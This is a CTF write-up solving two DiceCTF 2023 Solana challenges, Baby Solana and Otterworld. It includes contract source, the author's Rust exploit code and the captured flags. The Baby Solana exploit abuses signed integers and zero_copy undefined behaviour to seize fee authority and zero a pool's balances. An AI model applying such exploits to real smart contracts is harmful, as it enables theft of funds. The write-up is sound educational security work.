DiceCTF 2023 Solana Challenges Write-up
DiceCTF 2023 - Baby Solana
Given Files
The challenge is written using the Anchor Framework, and the file structure is exactly the same as the other Anchor challenges that I’ve written about in my previous posts. Some of the important files are:
framework/chall/program/chall/src/lib.rs
: the implementation of the target contract.framework/chall/src/main.rs
: the implementation of the initializations on the server using Solana CTF Framework.framework-solve/solve/program/solve/src/lib.rs
andframework-solve/solve/src/main.rs
: the implementaion of our exploit contract and the its invocation.
The target contract functionalities
This contract creates a liquidity pool with two assets, x
and y
. It contains several instructions, most of which are setters for the fields of the state
account.
#[account(zero_copy)]
#[derive(BorshSerialize, BorshDeserialize)]
pub struct FeeManager {
timestamp: i64,
authority: Option<Pubkey>
}
#[account(zero_copy)]
pub struct State {
pub fee: NUMBER,
pub x: NUMBER,
pub y: NUMBER,
pub enabled: FLAG,
pub owner: Option<Pubkey>,
pub fee_manager: Option<FeeManager>
}
As usual, the first instruction is the Init
instruction, which is similar to the Initialize
instruction in the idekCTF Blockchain challenge mentioned in the previous post. The Init
instruction was vulnerable in that challenge, so it is important to pay attention to it here as well.
pub fn init(ctx: Context<Init>) -> Result<()> {
let state = &mut ctx.accounts.state.load_init()?;
state.owner = Some(ctx.accounts.payer.key());
Ok(())
}
#[derive(Accounts)]
pub struct Init<'info> {
#[account(
init,
seeds = [ FLAG_SEED ],
bump,
payer = payer,
space = 1000
)]
pub state: AccountLoader<'info, State>,
#[account(mut)]
pub payer: Signer<'info>,
pub system_program: Program<'info, System>,
pub rent: Sysvar<'info, Rent>,
}
There are also five setter instructions: InitVirtualBalance
, SetEnabled
, SetFeeManager
, SetOwner
, and SetFee
. These instructions set the values of different fields in the global state
account. For example, InitVirtualBalance
sets the initial balance of the x
and y
assets, while SetEnabled
sets the enabled flag used in the Swap
instruction’s constraint. SetFeeManager
sets the fee manager account of ther current state, this account will be able to set the swapping fee via SetFee
.
Finally, SetOwner
can be used to change the owner of the contract.
The instructions use two account contexts: Auth
and AuthFee
. InitVirtualBalance
, SetFeeManager
, and SetOwner
use Auth
, while SetEnabled
and SetFee
use AuthFee
. The state
account constraints determine who can use each instruction. Only the contract owner can use instructions that use Auth
, while the contract owner or the fee manager can use instructions that use AuthFee
.
#[derive(Accounts)]
pub struct Auth<'info> {
#[account(mut,
constraint = (state.load().unwrap().owner.is_some() &&
state.load().unwrap().owner.unwrap() == payer.key()
)
)]
pub state: AccountLoader<'info, State>,
#[account(mut)]
pub payer: Signer<'info>,
pub system_program: Program<'info, System>,
pub rent: Sysvar<'info, Rent>,
}
#[derive(Accounts)]
pub struct AuthFee<'info> {
#[account(mut,
constraint = (state.load().unwrap().owner.is_some() &&
state.load().unwrap().owner.unwrap() == payer.key()
) ||
(state.load().unwrap().fee_manager.is_some() && (
state.load().unwrap().fee_manager.unwrap().timestamp < Clock::get()?.unix_timestamp &&
(
state.load().unwrap().fee_manager.unwrap().authority.is_none() ||
state.load().unwrap().fee_manager.unwrap().authority.unwrap() == payer.key()
)
))
)]
pub state: AccountLoader<'info, State>,
#[account(mut)]
pub payer: Signer<'info>,
pub system_program: Program<'info, System>,
pub rent: Sysvar<'info, Rent>,
}
Lastly, the Swap
instruction can be used to “exchange” assets between x
and y
using a specific formula. It takes a single amount as input, adds it to both x
and y
, and then adds another amount calculated using the fee
.
pub fn swap(ctx: Context<Swap>, amt: NUMBER) -> Result<()> {
let state = &mut ctx.accounts.state.load_mut()?;
state.x += amt;
state.y += amt;
state.x += state.fee * state.x / 100;
state.y += state.fee * state.y / 100;
Ok(())
}
#[derive(Accounts)]
pub struct Swap<'info> {
#[account(mut,
constraint = state.load().unwrap().enabled
)]
pub state: AccountLoader<'info, State>,
#[account(mut)]
pub payer: Signer<'info>,
pub system_program: Program<'info, System>,
pub rent: Sysvar<'info, Rent>,
}
The server program
The server program for this challenge is quite straightforward. Here are the steps it follows:
- Create the following accounts:
payer
,user
andstate
. - Invoke the
Init
instruction with thepayer
as the owner account. - Invoke the
InitVirtualBalance
instruction with thex
amount being 1,000,000 andy
amount being 1,000,001. - Invoke the
SetEnabled
account, which means that theSwap
instruction will be available for all users to use. - Run our exploit contract
- Check if the
x
andy
values are both 0. If they are, the flag is printed.
It’s clear that the objective is to somehow reduce the balance of all the assets in the pool to 0.
The vulnerabilities
To set the balances to 0, it is necessary to use instructions that can modify those values. There are two such instructions in this contract: InitVirtualBalance
and Swap
. However, only the contract owner can use the InitVirtualBalance
instruction because it uses the Auth
context. Therefore, the first attempt should be to try to become the owner. There are two ways to do this: either via the Init
instruction or the SetOwner
instruction. However, it is not possible to use the SetOwner
instruction because it also uses the Auth
context.
As mentioned before, the Init
instruction is similar to the vulnerable instruction in the previous post. Therefore, the initial idea is to invoke this instruction and set oneself as the owner:
let cpi_accounts = chall::cpi::accounts::Init {
state: ctx.accounts.state.to_account_info(),
payer: ctx.accounts.payer.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::init(cpi_ctx)?;
However, it’s not as simple as it sounds. The transaction did not succeed and was immediately reverted. It took me some time to understand why, as the reason is not immediately obvious. Although the two instructions look very similar, there is one key difference between them:
// idekCTF
let config = &mut ctx.accounts.config;
// DiceCTF
let state = &mut ctx.accounts.state.load_init()?;
The method load_init()
is the key here. As documented in Anchor’s documentation, this method “should only be called once, when the account is being initialized”. Looking further into the source code of it, there exists these lines:
if discriminator != 0 {
return Err(ErrorCode::AccountDiscriminatorAlreadySet.into());
}
If the state
account has already been initialized before, the discriminator
will also have been initialized and will not be 0, which leads to an error and the transaction being reverted. Therefore, invoking Init
is not a viable option in this case.
The only remaining option is to use Swap
. Recall the formula used in this instruction:
state.x += amt;
state.y += amt;
state.x += state.fee * state.x / 100;
state.y += state.fee * state.y / 100;
One obvious vulnerability that I haven’t mentioned yet is that all integers in this contract are declared to be of the NUMBER
type, which is defined as i64
. This is a SIGNED type, which means negative values can be passed in. Since state.x
and state.y
are initialized to be 1,000,000 and 1,000,001 respectively, we can set amt
to -1,000,000 and state.fee
to -100 to make them both become 0 using the formula mentioned earlier. Setting amt
is easy, as it’s the argument of the instruction, but setting state.fee
is not as simple. It is only possible to change this value using SetFee
, which uses the AuthFee
context. Since we cannot be the owner, we must be the fee manager to call this instruction. However, the fee manager can only be set using SetFeeManager
, which again uses Auth
! We’re in a loop here where everything loops back to us needing to be the owner, which is impossible.
However, all hope is not lost. There is a line of code that I have already shown in this post, but have not mentioned yet:
#[account(zero_copy)]
Both the State
and FeeManager
accounts are defined to be zero_copy
. According to the Anchor documentation, to use the zero_copy
attribute, “all fields in an account must be constrained to be “plain old data”, i.e., they must implement Pod. Please review the safety section before using”. However, this is not the case here. These accounts consist of several fields that are NOT plain old data, but are Option<>
instead. Option<>
is a Rust type that can either be Some
and contain a value, or None
, and not contain a value. We can see that in AuthFee
, the constraints for state
use the is_some()
and is_none()
method to check the validity of the fee manager account. However, since state is initialized with zero_copy
, undefined behaviors occur. As a result, even though the fee manager was never set by the server setup program, it still somehow exists and IS NOT None
, while its authority
field IS None
, passing all of the state account’s constraints. This is an insane coincidence that allows any user to use the SetFee
instruction.
The solution is simple now. We can simply call SetFee
to set state.fee
to -100, then Swap
with amt
equal to -1,000,000 to set both x
and y
to 0.
let cpi_accounts = chall::cpi::accounts::AuthFee {
state: ctx.accounts.state.to_account_info(),
payer: ctx.accounts.payer.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::set_fee(cpi_ctx, -100)?;
let cpi_accounts = chall::cpi::accounts::Swap {
state: ctx.accounts.state.to_account_info(),
payer: ctx.accounts.payer.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::swap(cpi_ctx, -1_000_000)?;
The flag for this challenge is dice{z3r0_c0py_h3r0_c0py_cPDsolK8}
DiceCTF 2023 - Otterworld
Given Files
The challenge is written using the Anchor Framework, and the file structure is exactly the same as the other Anchor challenges that I’ve written about in my previous posts. Some of the important files are:
framework/chall/program/chall/src/lib.rs
: the implementation of the target contract.framework/chall/src/main.rs
: the implementation of the initializations on the server using Solana CTF Framework.framework-solve/solve/program/solve/src/lib.rs
andframework-solve/solve/src/main.rs
: the implementaion of our exploit contract and the its invocation.
The target contract functionalities
This challenge doesn’t really resemble a real practical contract, but rather just a “puzzle”. The contract only implements one instruction, GetFlag
:
pub fn get_flag(_ctx: Context<GetFlag>) -> Result<()> {
Ok(())
}
#[derive(Accounts)]
pub struct GetFlag<'info> {
#[account(
init,
seeds = [ FLAG_SEED ],
bump,
payer = payer,
space = 1000
)]
pub flag: Account<'info, Flag>,
#[account(
constraint = password.key().as_ref()[..4] == b"osec"[..]
)]
pub password: AccountInfo<'info>,
#[account(mut)]
pub payer: Signer<'info>,
pub system_program: Program<'info, System>,
pub rent: Sysvar<'info, Rent>,
}
This instruction initialize a flag
account, but puts a very specific constraint on the password
account: the first 4 bytes of its public key must be b"osec"
.
The server program
The server program for this challenge simply checks if the flag
account exists or not. If it does, the flag is printed. Therefore, it’s clear that the objective is to pass the password
account’s constraint, so that the GetFlag
instruction can be executed and initialized flag
.
The solution
I was surprised to find that this challenge had fewer solvers than Baby Solana, despite the fact that the solution is extremely simple. In Anchor, we have the option to create accounts with public keys of our choosing, rather than randomly generated ones. This can be done using the function Pubkey::new_from_array()
:
let mut password_array: [u8; 32] = [b'a'; 32];
password_array[0] = b'o';
password_array[1] = b's';
password_array[2] = b'e';
password_array[3] = b'c';
let password = Pubkey::new_from_array(password_array);
Simply invoke the GetFlag
instruction with this password
account will give us the flag: dice{0tt3r_w0r1d_8c01j3}
Appendix
- All challenge sources and solutions can be found here.